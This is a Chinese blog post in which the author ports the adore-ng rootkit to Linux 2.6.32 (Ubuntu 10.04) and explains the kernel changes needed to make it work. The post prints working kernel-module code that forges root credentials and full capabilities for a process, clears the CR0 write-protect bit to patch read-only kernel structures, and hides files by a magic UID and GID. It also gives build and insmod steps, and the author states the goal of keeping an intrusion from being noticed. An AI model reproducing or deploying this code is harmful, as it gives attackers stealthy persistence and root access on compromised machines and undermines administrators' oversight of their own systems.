rootkit工具adore-ng修改,适合高版本的内核(如2.6.32)

2700阅读 1评论2010-05-17 lgqss
分类:

最近对以前的一个黑客工具adore-ng0.56版本进行了修改,使其可以在ubuntu10.04(2.6.32)运行,也可以在2.6.30上运行,为了修改这个,死机n次。。。。

Adore-ng-0.56源码分析

(感谢他)

由于2.6.32版本内核与以前有一些不同,所以不能编译

主要不同之处在于,

1.struct task_struct中关于权限的字段移到struct cred中去了
  1. edit_cred->uid = 0;

  2.               edit_cred->suid = 0;

  3.               edit_cred->euid = 0;

  4.            edit_cred->gid = 0;

  5.               edit_cred->egid = 0;

  6.            edit_cred->fsuid = 0;

  7.               edit_cred->fsgid = 0;


  8.               cap_set_full(edit_cred->cap_effective);

  9.               cap_set_full(edit_cred->cap_inheritable);

  10.               cap_set_full(edit_cred->cap_permitted);
复制代码
2.关于操作的结构都是const类型,直接修改引发oops错误

所以先要去掉cr0寄存器的写保护,如下代码
  1. unsigned orig_cr0;   

  2. /*清除cr0寄存器的写保护位,第16位为WP写保护位*/

  3. unsigned clear_return_cr0(void)

  4. {

  5.        unsigned cr0 = 0;

  6.        unsigned ret;

  7.        asm volatile ("movl %%cr0, %%eax"

  8.        :"=a"(cr0)

  9.        );

  10.        ret = cr0;

  11.        cr0 &= 0xfffeffff;

  12.        asm volatile ("movl %%eax, %%cr0"

  13.        :

  14.        :"a"(cr0)

  15.        );

  16.        return ret;

  17. }

  18. /*用orig_cr0恢复cr0寄存器*/

  19. void setback_cr0(unsigned val)

  20. {

  21.        asm volatile ("movl %%eax, %%cr0"

  22.        :

  23.        :"a"(val)

  24.        );

  25. }
复制代码
3.在文件隐藏中,iget函数已经没有了,相应的super_operations里read_inode也没有了,所以采用了新方法获取inode

一开始的想法是用iget_locked代替,但出现的问题是:

(1)    如果文件从来没访问过,那么文件inode不存在,这样iget_locked会新建一个空的inode,但不会填充它,而且后面因为用了unlock_new_inode,使得以后获取到该文件的inode都是空的,所以那些没有访问过的文件以后都不能打开了,ls –l得出的长度什么的全是0
  1. if (inode->i_state & I_NEW) {

  2.         unlock_new_inode(inode);

  3.         //printk("%lu\n", (unsigned long)inode);

  4.         inode->i_state |= I_NEW;//没有这句话,会造成文件系统内所有第一次ls的新文件全部不可用

  5. }
复制代码
后来我想到的方法是加上一句inode->i_state |= I_NEW;这样就重新标记为新节点,有了这个标记的后,文件体统相应的iget函数(如ext4_iget)会填充它

(2)    上面的内核inode破坏问题解决了,还有个问题是,如果inode没缓存(即该文件从没被打开过),那么iget_locked会获取到空的inode, 所以if (uid == ELITE_UID && gid == ELITE_GID)这句话在第一次运行时永远不成立,所以第一次ls有需要隐藏文件的目录时,我们要隐藏的文件还能看的见,第二次ls才会消失,因为第二次我们得到的才是真正的inode。(这里说明一下,ls命令要获取文件信息,就需要打开当前目录下所有文件获取填充好的inode,内核为每个文件调用一次ext4_iget)

这个应该是很严重的问题,我们本来是要隐藏文件的,但第一次能ls能看见,再次ls时消失掉,傻瓜也知道被入侵了。。。



后来我找到了第二种解决办法,在ext4中有个函数是ext4_lookup,用来填充当前目录dentry,提供的参数是父目录的inode,文件未连接的dentry(negative dentry),这个函数用来把dentry和inode连接起来(调用了ext4_iget来填充inode)。
  1.        struct inode *inode = NULL;

  2.        struct dentry *dentry = NULL;

  3.        struct qstr this;

  4.        struct dentry *dir = parent_dir[current->pid % 1024];


  5.        this.name = name;

  6.        this.len = nlen;

  7.        this.hash = full_name_hash(this.name, this.len);

  8.        dentry = d_lookup(dir, &this);//首先看系统中有没有缓存

  9.        if (!dentry) {

  10.               dentry = d_alloc(dir, &this);

  11.               if (!dentry) {

  12.                      //printk("d_alloc失败%d\n", (int)dentry);

  13.                      return 0;

  14.               }

  15.               if(dir->d_inode->i_op->lookup(dir->d_inode, dentry, NULL) != 0) {

  16.                      printk("lookup错误\n");

  17.                      return 0;

  18.               }

  19.        }

  20.        if(!(inode = dentry->d_inode)) {

  21.        //printk("inode获取失败\n");

  22.        return 0;

  23.        }
复制代码
当前修改还不是很稳定,好像会出现内核函数writeback_single_inode错误,导致一些问题,但把

       //iput(inode);

       //dput(dentry);,

注释掉后好像又没问题了。

运行方法

make

进入root

Insmod adore-ng.ko

然后可以用ava运行命令了,详细操作方法见我上面贴出的网址,也可以百度google搜索
(49.53 KB)
上一篇:没有了
下一篇:博客已升级,请注意变更地址

文章评论